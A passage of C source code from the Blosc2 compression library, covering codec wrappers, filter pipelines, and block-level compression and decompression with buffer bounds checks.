stdint.h only available in VS2010 (VC++ 16.0) and newer */ #if defined(_MSC_VER) && _MSC_VER < 1600 #include "win32/stdint-windows.h" #else #include <stdint.h> #endif #include <process.h> #define getpid _getpid #else #include <unistd.h> #endif /* _WIN32 */ #if defined(_WIN32) && !defined(__GNUC__) #include "win32/pthread.c" #endif /* Synchronization variables */ /* Global context for non-contextual API */ static blosc2_context* g_global_context; static pthread_mutex_t global_comp_mutex; static int g_compressor = BLOSC_BLOSCLZ; static int g_delta = 0; /* the compressor to use by default */ static int g_nthreads = 1; static int32_t g_force_blocksize = 0; static int g_initlib = 0; static blosc2_schunk* g_schunk = NULL; /* the pointer to super-chunk */ // Forward declarations int init_threadpool(blosc2_context *context); int release_threadpool(blosc2_context *context); /* Macros for synchronization */ /* Wait until all threads are initialized */ #ifdef BLOSC_POSIX_BARRIERS #define WAIT_INIT(RET_VAL, CONTEXT_PTR) \ rc = pthread_barrier_wait(&(CONTEXT_PTR)->barr_init); \ if (rc != 0 && rc != PTHREAD_BARRIER_SERIAL_THREAD) { \ printf("Could not wait on barrier (init): %d\n", rc); \ return((RET_VAL)); \ } #else #define WAIT_INIT(RET_VAL, CONTEXT_PTR) \ pthread_mutex_lock(&(CONTEXT_PTR)->count_threads_mutex); \ if ((CONTEXT_PTR)->count_threads < (CONTEXT_PTR)->nthreads) { \ (CONTEXT_PTR)->count_threads++; \ pthread_cond_wait(&(CONTEXT_PTR)->count_threads_cv, \ &(CONTEXT_PTR)->count_threads_mutex); \ } \ else { \ pthread_cond_broadcast(&(CONTEXT_PTR)->count_threads_cv); \ } \ pthread_mutex_unlock(&(CONTEXT_PTR)->count_threads_mutex); #endif /* Wait for all threads to finish */ #ifdef BLOSC_POSIX_BARRIERS #define WAIT_FINISH(RET_VAL, CONTEXT_PTR) \ rc = pthread_barrier_wait(&(CONTEXT_PTR)->barr_finish); \ if (rc != 0 && rc != PTHREAD_BARRIER_SERIAL_THREAD) { \ printf("Could not wait on barrier (finish)\n"); \ return((RET_VAL)); \ } #else #define WAIT_FINISH(RET_VAL, CONTEXT_PTR) \ pthread_mutex_lock(&(CONTEXT_PTR)->count_threads_mutex); \ if ((CONTEXT_PTR)->count_threads > 0) { \ (CONTEXT_PTR)->count_threads--; \ pthread_cond_wait(&(CONTEXT_PTR)->count_threads_cv, \ &(CONTEXT_PTR)->count_threads_mutex); \ } \ else { \ pthread_cond_broadcast(&(CONTEXT_PTR)->count_threads_cv); \ } \ pthread_mutex_unlock(&(CONTEXT_PTR)->count_threads_mutex); #endif /* global variable to change threading backend from Blosc-managed to caller-managed */ static blosc_threads_callback threads_callback = 0; static void *threads_callback_data = 0; /* non-threadsafe function should be called before any other Blosc function in order to change how threads are managed */ void blosc_set_threads_callback(blosc_threads_callback callback, void *callback_data) { threads_callback = callback; threads_callback_data = callback_data; } /* A function for aligned malloc that is portable */ static uint8_t* my_malloc(size_t size) { void* block = NULL; int res = 0; /* Do an alignment to 32 bytes because AVX2 is supported */ #if defined(_WIN32) /* A (void *) cast needed for avoiding a warning with MINGW :-/ */ block = (void *)_aligned_malloc(size, 32); #elif _POSIX_C_SOURCE >= 200112L || _XOPEN_SOURCE >= 600 /* Platform does have an implementation of posix_memalign */ res = posix_memalign(&block, 32, size); #else block = malloc(size); #endif /* _WIN32 */ if (block == NULL || res != 0) { printf("Error allocating memory!"); return NULL; } return (uint8_t*)block; } /* Release memory booked by my_malloc */ static void my_free(void* block) { #if defined(_WIN32) _aligned_free(block); #else free(block); #endif /* _WIN32 */ } /* * Conversion routines between compressor and compression libraries */ /* Return the library code associated with the compressor name */ static int compname_to_clibcode(const char* compname) { if (strcmp(compname, BLOSC_BLOSCLZ_COMPNAME) == 0) return BLOSC_BLOSCLZ_LIB; if (strcmp(compname, BLOSC_LZ4_COMPNAME) == 0) return BLOSC_LZ4_LIB; if (strcmp(compname, BLOSC_LZ4HC_COMPNAME) == 0) return BLOSC_LZ4_LIB; if (strcmp(compname, BLOSC_LIZARD_COMPNAME) == 0) return BLOSC_LIZARD_LIB; if (strcmp(compname, BLOSC_SNAPPY_COMPNAME) == 0) return BLOSC_SNAPPY_LIB; if (strcmp(compname, BLOSC_ZLIB_COMPNAME) == 0) return BLOSC_ZLIB_LIB; if (strcmp(compname, BLOSC_ZSTD_COMPNAME) == 0) return BLOSC_ZSTD_LIB; return -1; } /* Return the library name associated with the compressor code */ static const char* clibcode_to_clibname(int clibcode) { if (clibcode == BLOSC_BLOSCLZ_LIB) return BLOSC_BLOSCLZ_LIBNAME; if (clibcode == BLOSC_LZ4_LIB) return BLOSC_LZ4_LIBNAME; if (clibcode == BLOSC_LIZARD_LIB) return BLOSC_LIZARD_LIBNAME; if (clibcode == BLOSC_SNAPPY_LIB) return BLOSC_SNAPPY_LIBNAME; if (clibcode == BLOSC_ZLIB_LIB) return BLOSC_ZLIB_LIBNAME; if (clibcode == BLOSC_ZSTD_LIB) return BLOSC_ZSTD_LIBNAME; return NULL; /* should never happen */ } /* * Conversion routines between compressor names and compressor codes */ /* Get the compressor name associated with the compressor code */ int blosc_compcode_to_compname(int compcode, const char** compname) { int code = -1; /* -1 means non-existent compressor code */ const char* name = NULL; /* Map the compressor code */ if (compcode == BLOSC_BLOSCLZ) name = BLOSC_BLOSCLZ_COMPNAME; else if (compcode == BLOSC_LZ4) name = BLOSC_LZ4_COMPNAME; else if (compcode == BLOSC_LZ4HC) name = BLOSC_LZ4HC_COMPNAME; else if (compcode == BLOSC_LIZARD) name = BLOSC_LIZARD_COMPNAME; else if (compcode == BLOSC_SNAPPY) name = BLOSC_SNAPPY_COMPNAME; else if (compcode == BLOSC_ZLIB) name = BLOSC_ZLIB_COMPNAME; else if (compcode == BLOSC_ZSTD) name = BLOSC_ZSTD_COMPNAME; *compname = name; /* Guess if there is support for this code */ if (compcode == BLOSC_BLOSCLZ) code = BLOSC_BLOSCLZ; #if defined(HAVE_LZ4) else if (compcode == BLOSC_LZ4) code = BLOSC_LZ4; else if (compcode == BLOSC_LZ4HC) code = BLOSC_LZ4HC; #endif /* HAVE_LZ4 */ #if defined(HAVE_LIZARD) else if (compcode == BLOSC_LIZARD) code = BLOSC_LIZARD; #endif /* HAVE_LIZARD */ #if defined(HAVE_SNAPPY) else if (compcode == BLOSC_SNAPPY) code = BLOSC_SNAPPY; #endif /* HAVE_SNAPPY */ #if defined(HAVE_ZLIB) else if (compcode == BLOSC_ZLIB) code = BLOSC_ZLIB; #endif /* HAVE_ZLIB */ #if defined(HAVE_ZSTD) else if (compcode == BLOSC_ZSTD) code = BLOSC_ZSTD; #endif /* HAVE_ZSTD */ return code; } /* Get the compressor code for the compressor name. -1 if it is not available */ int blosc_compname_to_compcode(const char* compname) { int code = -1; /* -1 means non-existent compressor code */ if (strcmp(compname, BLOSC_BLOSCLZ_COMPNAME) == 0) { code = BLOSC_BLOSCLZ; } #if defined(HAVE_LZ4) else if (strcmp(compname, BLOSC_LZ4_COMPNAME) == 0) { code = BLOSC_LZ4; } else if (strcmp(compname, BLOSC_LZ4HC_COMPNAME) == 0) { code = BLOSC_LZ4HC; } #endif /* HAVE_LZ4 */ #if defined(HAVE_LIZARD) else if (strcmp(compname, BLOSC_LIZARD_COMPNAME) == 0) { code = BLOSC_LIZARD; } #endif /* HAVE_LIZARD */ #if defined(HAVE_SNAPPY) else if (strcmp(compname, BLOSC_SNAPPY_COMPNAME) == 0) { code = BLOSC_SNAPPY; } #endif /* HAVE_SNAPPY */ #if defined(HAVE_ZLIB) else if (strcmp(compname, BLOSC_ZLIB_COMPNAME) == 0) { code = BLOSC_ZLIB; } #endif /* HAVE_ZLIB */ #if defined(HAVE_ZSTD) else if (strcmp(compname, BLOSC_ZSTD_COMPNAME) == 0) { code = BLOSC_ZSTD; } #endif /* HAVE_ZSTD */ return code; } #if defined(HAVE_LZ4) static int lz4_wrap_compress(const char* input, size_t input_length, char* output, size_t maxout, int accel, void* hash_table) { BLOSC_UNUSED_PARAM(accel); int cbytes; #ifdef HAVE_IPP if (hash_table == NULL) { return -1; // the hash table should always be initialized } int outlen = (int)maxout; int inlen = (int)input_length; // I have not found any function that uses `accel` like in `LZ4_compress_fast`, but // the IPP LZ4Safe call does a pretty good job on compressing well, so let's use it IppStatus status = ippsEncodeLZ4Safe_8u((const Ipp8u*)input, &inlen, (Ipp8u*)output, &outlen, (Ipp8u*)hash_table); if (status == ippStsDstSizeLessExpected) { return 0; // we cannot compress in required outlen } else if (status != ippStsNoErr) { return -1; // an unexpected error happened } cbytes = outlen; #else BLOSC_UNUSED_PARAM(hash_table); accel = 1; // deactivate acceleration to match IPP behaviour cbytes = LZ4_compress_fast(input, output, (int)input_length, (int)maxout, accel); #endif return cbytes; } static int lz4hc_wrap_compress(const char* input, size_t input_length, char* output, size_t maxout, int clevel) { int cbytes; if (input_length > (size_t)(UINT32_C(2) << 30)) return -1; /* input larger than 2 GB is not supported */ /* clevel for lz4hc goes up to 12, at least in LZ4 1.7.5 * but levels larger than 9 do not buy much compression. */ cbytes = LZ4_compress_HC(input, output, (int)input_length, (int)maxout, clevel); return cbytes; } static int lz4_wrap_decompress(const char* input, size_t compressed_length, char* output, size_t maxout) { int nbytes; #ifdef HAVE_IPP int outlen = (int)maxout; int inlen = (int)compressed_length; IppStatus status; status = ippsDecodeLZ4_8u((const Ipp8u*)input, inlen, (Ipp8u*)output, &outlen); //status = ippsDecodeLZ4Dict_8u((const Ipp8u*)input, &inlen, (Ipp8u*)output, 0, &outlen, NULL, 1 << 16); nbytes = (status == ippStsNoErr) ? outlen : -outlen; #else nbytes = LZ4_decompress_safe(input, output, (int)compressed_length, (int)maxout); #endif if (nbytes != (int)maxout) { return 0; } return (int)maxout; } #endif /* HAVE_LZ4 */ #if defined(HAVE_LIZARD) static int lizard_wrap_compress(const char* input, size_t input_length, char* output, size_t maxout, int clevel) { int cbytes; cbytes = Lizard_compress(input, output, (int)input_length, (int)maxout, clevel); return cbytes; } static int lizard_wrap_decompress(const char* input, size_t compressed_length, char* output, size_t maxout) { int dbytes; dbytes = Lizard_decompress_safe(input, output, (int)compressed_length, (int)maxout); if (dbytes < 0) { return 0; } return dbytes; } #endif /* HAVE_LIZARD */ #if defined(HAVE_SNAPPY) static int snappy_wrap_compress(const char* input, size_t input_length, char* output, size_t maxout) { snappy_status status; size_t cl = maxout; status = snappy_compress(input, input_length, output, &cl); if (status != SNAPPY_OK) { return 0; } return (int)cl; } static int snappy_wrap_decompress(const char* input, size_t compressed_length, char* output, size_t maxout) { snappy_status status; size_t ul = maxout; status = snappy_uncompress(input, compressed_length, output, &ul); if (status != SNAPPY_OK) { return 0; } return (int)ul; } #endif /* HAVE_SNAPPY */ #if defined(HAVE_ZLIB) /* zlib is not very respectful with sharing name space with others. Fortunately, its names do not collide with those already in blosc. */ static int zlib_wrap_compress(const char* input, size_t input_length, char* output, size_t maxout, int clevel) { int status; uLongf cl = (uLongf)maxout; status = compress2( (Bytef*)output, &cl, (Bytef*)input, (uLong)input_length, clevel); if (status != Z_OK) { return 0; } return (int)cl; } static int zlib_wrap_decompress(const char* input, size_t compressed_length, char* output, size_t maxout) { int status; uLongf ul = (uLongf)maxout; status = uncompress( (Bytef*)output, &ul, (Bytef*)input, (uLong)compressed_length); if (status != Z_OK) { return 0; } return (int)ul; } #endif /* HAVE_ZLIB */ #if defined(HAVE_ZSTD) static int zstd_wrap_compress(struct thread_context* thread_context, const char* input, size_t input_length, char* output, size_t maxout, int clevel) { size_t code; blosc2_context* context = thread_context->parent_context; clevel = (clevel < 9) ? clevel * 2 - 1 : ZSTD_maxCLevel(); /* Make the level 8 close enough to maxCLevel */ if (clevel == 8) clevel = ZSTD_maxCLevel() - 2; if (thread_context->zstd_cctx == NULL) { thread_context->zstd_cctx = ZSTD_createCCtx(); } if (context->use_dict) { assert(context->dict_cdict != NULL); code = ZSTD_compress_usingCDict( thread_context->zstd_cctx, (void*)output, maxout, (void*)input, input_length, context->dict_cdict); } else { code = ZSTD_compressCCtx(thread_context->zstd_cctx, (void*)output, maxout, (void*)input, input_length, clevel); } if (ZSTD_isError(code) != ZSTD_error_no_error) { // Do not print anything because blosc will just memcpy this buffer // fprintf(stderr, "Error in ZSTD compression: '%s'. Giving up.\n", // ZDICT_getErrorName(code)); return 0; } return (int)code; } static int zstd_wrap_decompress(struct thread_context* thread_context, const char* input, size_t compressed_length, char* output, size_t maxout) { size_t code; blosc2_context* context = thread_context->parent_context; if (thread_context->zstd_dctx == NULL) { thread_context->zstd_dctx = ZSTD_createDCtx(); } if (context->use_dict) { assert(context->dict_ddict != NULL); code = ZSTD_decompress_usingDDict( thread_context->zstd_dctx, (void*)output, maxout, (void*)input, compressed_length, context->dict_ddict); } else { code = ZSTD_decompressDCtx(thread_context->zstd_dctx, (void*)output, maxout, (void*)input, compressed_length); } if (ZSTD_isError(code) != ZSTD_error_no_error) { fprintf(stderr, "Error in ZSTD decompression: '%s'. Giving up.\n", ZDICT_getErrorName(code)); return 0; } return (int)code; } #endif /* HAVE_ZSTD */ /* Compute acceleration for blosclz */ static int get_accel(const blosc2_context* context) { int clevel = context->clevel; if (context->compcode == BLOSC_LZ4) { /* This acceleration setting based on discussions held in: * https://groups.google.com/forum/#!topic/lz4c/zosy90P8MQw */ return (10 - clevel); } else if (context->compcode == BLOSC_LIZARD) { /* Lizard currently accepts clevels from 10 to 49 */ switch (clevel) { case 1 : return 10; case 2 : return 10; case 3 : return 10; case 4 : return 10; case 5 : return 20; case 6 : return 20; case 7 : return 20; case 8 : return 41; case 9 : return 41; default : break; } } return 1; } int do_nothing(int8_t filter, char cmode) { if (cmode == 'c') { return (filter == BLOSC_NOFILTER); } else { // TRUNC_PREC do not have to be applied during decompression return ((filter == BLOSC_NOFILTER) || (filter == BLOSC_TRUNC_PREC)); } } int next_filter(const uint8_t* filters, int current_filter, char cmode) { for (int i = current_filter - 1; i >= 0; i--) { if (!do_nothing(filters[i], cmode)) { return filters[i]; } } return BLOSC_NOFILTER; } int last_filter(const uint8_t* filters, char cmode) { int last_index = -1; for (int i = BLOSC2_MAX_FILTERS - 1; i >= 0; i--) { if (!do_nothing(filters[i], cmode)) { last_index = i; } } return last_index; } uint8_t* pipeline_c(struct thread_context* thread_context, const int32_t bsize, const uint8_t* src, const int32_t offset, uint8_t* dest, uint8_t* tmp, uint8_t* tmp2) { blosc2_context* context = thread_context->parent_context; uint8_t* _src = (uint8_t*)src + offset; uint8_t* _tmp = tmp; uint8_t* _dest = dest; int32_t typesize = context->typesize; uint8_t* filters = context->filters; uint8_t* filters_meta = context->filters_meta; bool memcpyed = context->header_flags & (uint8_t)BLOSC_MEMCPYED; /* Prefilter function */ if (context->prefilter != NULL) { // Create new prefilter parameters for this block (must be private for each thread) blosc2_prefilter_params pparams; memcpy(&pparams, context->pparams, sizeof(pparams)); pparams.out = _dest; pparams.out_size = (size_t)bsize; pparams.out_typesize = typesize; pparams.out_offset = offset; pparams.tid = thread_context->tid; pparams.ttmp = thread_context->tmp; pparams.ttmp_nbytes = thread_context->tmp_nbytes; pparams.ctx = context; if (context->prefilter(&pparams) != 0) { fprintf(stderr, "Execution of prefilter function failed\n"); return NULL; } if (memcpyed) { // No more filters are required return _dest; } // Cycle buffers _src = _dest; _dest = _tmp; _tmp = _src; } /* Process the filter pipeline */ for (int i = 0; i < BLOSC2_MAX_FILTERS; i++) { switch (filters[i]) { case BLOSC_SHUFFLE: for (int j = 0; j <= filters_meta[i]; j++) { shuffle(typesize, bsize, _src, _dest); // Cycle filters when required if (j < filters_meta[i]) { _src = _dest; _dest = _tmp; _tmp = _src; } } break; case BLOSC_BITSHUFFLE: bitshuffle(typesize, bsize, _src, _dest, tmp2); break; case BLOSC_DELTA: delta_encoder(src, offset, bsize, typesize, _src, _dest); break; case BLOSC_TRUNC_PREC: truncate_precision(filters_meta[i], typesize, bsize, _src, _dest); break; default: if (filters[i] != BLOSC_NOFILTER) { fprintf(stderr, "Filter %d not handled during compression\n", filters[i]); return NULL; } } // Cycle buffers when required if (filters[i] != BLOSC_NOFILTER) { _src = _dest; _dest = _tmp; _tmp = _src; } } return _src; } // Optimized version for detecting runs. It compares 8 bytes values wherever possible. static bool get_run(const uint8_t* ip, const uint8_t* ip_bound) { uint8_t x = *ip; int64_t value, value2; /* Broadcast the value for every byte in a 64-bit register */ memset(&value, x, 8); while (ip < (ip_bound - 8)) { #if defined(BLOSC_STRICT_ALIGN) memcpy(&value2, ref, 8); #else value2 = *(int64_t*)ip; #endif if (value != value2) { // Values differ. We don't have a run. return false; } else { ip += 8; } } /* Look into the remainder */ while ((ip < ip_bound) && (*ip == x)) ip++; return ip == ip_bound ? true : false; } /* Shuffle & compress a single block */ static int blosc_c(struct thread_context* thread_context, int32_t bsize, int32_t leftoverblock, int32_t ntbytes, int32_t destsize, const uint8_t* src, const int32_t offset, uint8_t* dest, uint8_t* tmp, uint8_t* tmp2) { blosc2_context* context = thread_context->parent_context; int dont_split = (context->header_flags & 0x10) >> 4; int dict_training = context->use_dict && context->dict_cdict == NULL; int32_t j, neblock, nstreams; int32_t cbytes; /* number of compressed bytes in split */ int32_t ctbytes = 0; /* number of compressed bytes in block */ int64_t maxout; int32_t typesize = context->typesize; const char* compname; int accel; const uint8_t* _src; uint8_t *_tmp = tmp, *_tmp2 = tmp2; uint8_t *_tmp3 = thread_context->tmp4; int last_filter_index = last_filter(context->filters, 'c'); bool memcpyed = context->header_flags & (uint8_t)BLOSC_MEMCPYED; if (last_filter_index >= 0 || context->prefilter != NULL) { /* Apply the filter pipeline just for the prefilter */ if (memcpyed && context->prefilter != NULL) { // We only need the prefilter output _src = pipeline_c(thread_context, bsize, src, offset, dest, _tmp2, _tmp3); if (_src == NULL) { return -9; // signals a problem with the filter pipeline } return bsize; } /* Apply regular filter pipeline */ _src = pipeline_c(thread_context, bsize, src, offset, _tmp, _tmp2, _tmp3); if (_src == NULL) { return -9; // signals a problem with the filter pipeline } } else { _src = src + offset; } assert(context->clevel > 0); /* Calculate acceleration for different compressors */ accel = get_accel(context); /* The number of compressed data streams for this block */ if (!dont_split && !leftoverblock && !dict_training) { nstreams = (int32_t)typesize; } else { nstreams = 1; } neblock = bsize / nstreams; for (j = 0; j < nstreams; j++) { if (!dict_training) { dest += sizeof(int32_t); ntbytes += sizeof(int32_t); ctbytes += sizeof(int32_t); } // See if we have a run here const uint8_t* ip = (uint8_t*)_src + j * neblock; const uint8_t* ipbound = (uint8_t*)_src + (j + 1) * neblock; if (get_run(ip, ipbound)) { // A run. Encode the repeated byte as a negative length in the length of the split. int32_t value = _src[j * neblock]; if (ntbytes > destsize) { /* Not enough space to write out compressed block size */ return -1; } _sw32(dest - 4, -value); continue; } maxout = neblock; #if defined(HAVE_SNAPPY) if (context->compcode == BLOSC_SNAPPY) { maxout = (int32_t)snappy_max_compressed_length((size_t)neblock); } #endif /* HAVE_SNAPPY */ if (ntbytes + maxout > destsize) { /* avoid buffer * overrun */ maxout = (int64_t)destsize - (int64_t)ntbytes; if (maxout <= 0) { return 0; /* non-compressible block */ } } if (dict_training) { // We are in the build dict state, so don't compress // TODO: copy only a percentage for sampling memcpy(dest, _src + j * neblock, (unsigned int)neblock); cbytes = (int32_t)neblock; } else if (context->compcode == BLOSC_BLOSCLZ) { cbytes = blosclz_compress(context->clevel, _src + j * neblock, (int)neblock, dest, (int)maxout); } #if defined(HAVE_LZ4) else if (context->compcode == BLOSC_LZ4) { void *hash_table = NULL; #ifdef HAVE_IPP hash_table = (void*)thread_context->lz4_hash_table; #endif cbytes = lz4_wrap_compress((char*)_src + j * neblock, (size_t)neblock, (char*)dest, (size_t)maxout, accel, hash_table); } else if (context->compcode == BLOSC_LZ4HC) { cbytes = lz4hc_wrap_compress((char*)_src + j * neblock, (size_t)neblock, (char*)dest, (size_t)maxout, context->clevel); } #endif /* HAVE_LZ4 */ #if defined(HAVE_LIZARD) else if (context->compcode == BLOSC_LIZARD) { cbytes = lizard_wrap_compress((char*)_src + j * neblock, (size_t)neblock, (char*)dest, (size_t)maxout, accel); } #endif /* HAVE_LIZARD */ #if defined(HAVE_SNAPPY) else if (context->compcode == BLOSC_SNAPPY) { cbytes = snappy_wrap_compress((char*)_src + j * neblock, (size_t)neblock, (char*)dest, (size_t)maxout); } #endif /* HAVE_SNAPPY */ #if defined(HAVE_ZLIB) else if (context->compcode == BLOSC_ZLIB) { cbytes = zlib_wrap_compress((char*)_src + j * neblock, (size_t)neblock, (char*)dest, (size_t)maxout, context->clevel); } #endif /* HAVE_ZLIB */ #if defined(HAVE_ZSTD) else if (context->compcode == BLOSC_ZSTD) { cbytes = zstd_wrap_compress(thread_context, (char*)_src + j * neblock, (size_t)neblock, (char*)dest, (size_t)maxout, context->clevel); } #endif /* HAVE_ZSTD */ else { blosc_compcode_to_compname(context->compcode, &compname); fprintf(stderr, "Blosc has not been compiled with '%s' ", compname); fprintf(stderr, "compression support. Please use one having it."); return -5; /* signals no compression support */ } if (cbytes > maxout) { /* Buffer overrun caused by compression (should never happen) */ return -1; } if (cbytes < 0) { /* cbytes should never be negative */ return -2; } if (!dict_training) { if (cbytes == 0 || cbytes == neblock) { /* The compressor has been unable to compress data at all. */ /* Before doing the copy, check that we are not running into a buffer overflow. */ if ((ntbytes + neblock) > destsize) { return 0; /* Non-compressible data */ } memcpy(dest, _src + j * neblock, (unsigned int)neblock); cbytes = neblock; } _sw32(dest - 4, cbytes); } dest += cbytes; ntbytes += cbytes; ctbytes += cbytes; } /* Closes j < nstreams */ //printf("c%d", ctbytes); return ctbytes; } /* Process the filter pipeline (decompression mode) */ int pipeline_d(blosc2_context* context, const int32_t bsize, uint8_t* dest, const int32_t offset, uint8_t* src, uint8_t* tmp, uint8_t* tmp2, int last_filter_index) { int32_t typesize = context->typesize; uint8_t* filters = context->filters; uint8_t* filters_meta = context->filters_meta; uint8_t* _src = src; uint8_t* _dest = tmp; uint8_t* _tmp = tmp2; int errcode = 0; for (int i = BLOSC2_MAX_FILTERS - 1; i >= 0; i--) { // Delta filter requires the whole chunk ready int last_copy_filter = (last_filter_index == i) || (next_filter(filters, i, 'd') == BLOSC_DELTA); if (last_copy_filter) { _dest = dest + offset; } switch (filters[i]) { case BLOSC_SHUFFLE: for (int j = 0; j <= filters_meta[i]; j++) { unshuffle(typesize, bsize, _src, _dest); // Cycle filters when required if (j < filters_meta[i]) { _src = _dest; _dest = _tmp; _tmp = _src; } // Check whether we have to copy the intermediate _dest buffer to final destination if (last_copy_filter && (filters_meta[i] % 2) == 1 && j == filters_meta[i]) { memcpy(dest + offset, _dest, (unsigned int)bsize); } } break; case BLOSC_BITSHUFFLE: bitunshuffle(typesize, bsize, _src, _dest, _tmp, context->src[0]); break; case BLOSC_DELTA: if (context->nthreads == 1) { /* Serial mode */ delta_decoder(dest, offset, bsize, typesize, _dest); } else { /* Force the thread in charge of the block 0 to go first */ pthread_mutex_lock(&context->delta_mutex); if (context->dref_not_init) { if (offset != 0) { pthread_cond_wait(&context->delta_cv, &context->delta_mutex); } else { delta_decoder(dest, offset, bsize, typesize, _dest); context->dref_not_init = 0; pthread_cond_broadcast(&context->delta_cv); } } pthread_mutex_unlock(&context->delta_mutex); if (offset != 0) { delta_decoder(dest, offset, bsize, typesize, _dest); } } break; case BLOSC_TRUNC_PREC: // TRUNC_PREC filter does not need to be undone break; default: if (filters[i] != BLOSC_NOFILTER) { fprintf(stderr, "Filter %d not handled during decompression\n", filters[i]); errcode = -1; } } if (last_filter_index == i) { return errcode; } // Cycle buffers when required if ((filters[i] != BLOSC_NOFILTER) && (filters[i] != BLOSC_TRUNC_PREC)) { _src = _dest; _dest = _tmp; _tmp = _src; } } return errcode; } /* Decompress & unshuffle a single block */ static int blosc_d( struct thread_context* thread_context, int32_t bsize, int32_t leftoverblock, const uint8_t* src, int32_t srcsize, int32_t src_offset, uint8_t* dest, int32_t dest_offset, uint8_t* tmp, uint8_t* tmp2) { blosc2_context* context = thread_context->parent_context; uint8_t* filters = context->filters; uint8_t *tmp3 = thread_context->tmp4; int32_t compformat = (context->header_flags & 0xe0) >> 5; int dont_split = (context->header_flags & 0x10) >> 4; //uint8_t blosc_version_format = src[0]; int nstreams; int32_t neblock; int32_t nbytes; /* number of decompressed bytes in split */ int32_t cbytes; /* number of compressed bytes in split */ int32_t ctbytes = 0; /* number of compressed bytes in block */ int32_t ntbytes = 0; /* number of uncompressed bytes in block */ uint8_t* _dest; int32_t typesize = context->typesize; int32_t nblock = dest_offset / context->blocksize; const char* compname; if (context->block_maskout != NULL && context->block_maskout[nblock]) { // Do not decompress, but act as if we successfully decompressed everything return bsize; } if (src_offset <= 0 || src_offset >= srcsize) { /* Invalid block src offset encountered */ return -1; } src += src_offset; srcsize -= src_offset; int last_filter_index = last_filter(filters, 'd'); if ((last_filter_index >= 0) && (next_filter(filters, BLOSC2_MAX_FILTERS, 'd') != BLOSC_DELTA)) { // We are making use of some filter, so use a temp for destination _dest = tmp; } else { // If no filters, or only DELTA in pipeline _dest = dest + dest_offset; } /* The number of compressed data streams for this block */ if (!dont_split && !leftoverblock && !context->use_dict) { // We don't want to split when in a training dict state nstreams = (int32_t)typesize; } else { nstreams = 1; } neblock = bsize / nstreams; for (int j = 0; j < nstreams; j++) { if (srcsize < sizeof(int32_t)) { /* Not enough input to read compressed size */ return -1; } srcsize -= sizeof(int32_t); cbytes = sw32_(src); /* amount of compressed bytes */ if (cbytes > 0) { if (srcsize < cbytes) { /* Not enough input to read compressed bytes */ return -1; } srcsize -= cbytes; } src += sizeof(int32_t); ctbytes += (int32_t)sizeof(int32_t); /* Uncompress */ if (cbytes <= 0) { // A run if (cbytes < -255) { // Runs can only encode a byte return -2; } uint8_t value = -cbytes; memset(_dest, value, (unsigned int)neblock); nbytes = neblock; cbytes = 0; // everything is encoded in the cbytes token } else if (cbytes == neblock) { memcpy(_dest, src, (unsigned int)neblock); nbytes = (int32_t)neblock; } else { if (compformat == BLOSC_BLOSCLZ_FORMAT) { nbytes = blosclz_decompress(src, cbytes, _dest, (int)neblock); } #if defined(HAVE_LZ4) else if (compformat == BLOSC_LZ4_FORMAT) { nbytes = lz4_wrap_decompress((char*)src, (size_t)cbytes, (char*)_dest, (size_t)neblock); } #endif /* HAVE_LZ4 */ #if defined(HAVE_LIZARD) else if (compformat == BLOSC_LIZARD_FORMAT) { nbytes = lizard_wrap_decompress((char*)src, (size_t)cbytes, (char*)_dest, (size_t)neblock); } #endif /* HAVE_LIZARD */ #if defined(HAVE_SNAPPY) else if (compformat == BLOSC_SNAPPY_FORMAT) { nbytes = snappy_wrap_decompress((char*)src, (size_t)cbytes, (char*)_dest, (size_t)neblock); } #endif /* HAVE_SNAPPY */ #if defined(HAVE_ZLIB) else if (compformat == BLOSC_ZLIB_FORMAT) { nbytes = zlib_wrap_decompress((char*)src, (size_t)cbytes, (char*)_dest, (size_t)neblock); } #endif /* HAVE_ZLIB */ #if defined(HAVE_ZSTD) else if (compformat == BLOSC_ZSTD_FORMAT) { nbytes = zstd_wrap_decompress(thread_context, (char*)src, (size_t)cbytes, (char*)_dest, (size_t)neblock); } #endif /* HAVE_ZSTD */ else { compname = clibcode_to_clibname(compformat); fprintf(stderr, "Blosc has not been compiled with decompression " "support for '%s' format. ", compname); fprintf(stderr, "Please recompile for adding this support.\n"); return -5; /* signals no decompression support */ } /* Check that decompressed bytes number is correct */ if (nbytes != neblock) { return -2; } } src += cbytes; ctbytes += cbytes; _dest += nbytes; ntbytes += nbytes; } /* Closes j < nstreams */ if (last_filter_index >= 0) { int errcode = pipeline_d(context, bsize, dest, dest_offset, tmp, tmp2, tmp3, last_filter_index); if (errcode < 0) return errcode; } /* Return the number of uncompressed bytes */ return (int)ntbytes; } /* Serial version for compression/decompression */ static int serial_blosc(struct thread_context* thread_context) { blosc2_context* context = thread_context->parent_context; int32_t j, bsize, leftoverblock; int32_t cbytes; int32_t ntbytes = (int32_t)context->output_bytes; int32_t* bstarts = context->bstarts; uint8_t* tmp = thread_context->tmp; uint8_t* tmp2 = thread_context->tmp2; int dict_training = context->use_dict && (context->dict_cdict == NULL); bool memcpyed = context->header_flags & (uint8_t)BLOSC_MEMCPYED; for (j = 0; j < context->nblocks; j++) { if (context->do_compress && !memcpyed && !dict_training) { _sw32(bstarts + j, ntbytes); } bsize = context->blocksize; leftoverblock = 0; if ((j == context->nblocks - 1) && (context->leftover > 0)) { bsize = context->leftover; leftoverblock = 1; } if (context->do_compress) { if (memcpyed && !context->prefilter) { /* We want to memcpy only */ memcpy(context->dest + BLOSC_MAX_OVERHEAD + j * context->blocksize, context->src + j * context->blocksize, (unsigned int)bsize); cbytes = (int32_t)bsize; } else { /* Regular compression */ cbytes = blosc_c(thread_context, bsize, leftoverblock, ntbytes, context->destsize, context->src, j * context->blocksize, context->dest + ntbytes, tmp, tmp2); if (cbytes == 0) { ntbytes = 0; /* uncompressible data */ break; } } } else { if (memcpyed) { // Check that sizes in header are compatible, otherwise there is a header corruption int32_t csize = sw32_(context->src + 12); /* compressed buffer size */ if (context->sourcesize + BLOSC_MAX_OVERHEAD != csize) { return -1; } if (context->srcsize < BLOSC_MAX_OVERHEAD + (j * context->blocksize) + bsize) { /* Not enough input to copy block */ return -1; } memcpy(context->dest + j * context->blocksize, context->src + BLOSC_MAX_OVERHEAD + j * context->blocksize, (unsigned int)bsize); cbytes = (int32_t)bsize; } else { /* Regular decompression */ cbytes = blosc_d(thread_context, bsize, leftoverblock, context->src, context->srcsize, sw32_(bstarts + j), context->dest, j * context->blocksize, tmp, tmp2); } } if (cbytes < 0) { ntbytes = cbytes; /* error in blosc_c or blosc_d */ break; } ntbytes += cbytes; } return ntbytes; } static void t_blosc_do_job(void *ctxt); /* Threaded version for compression/decompression */ static int 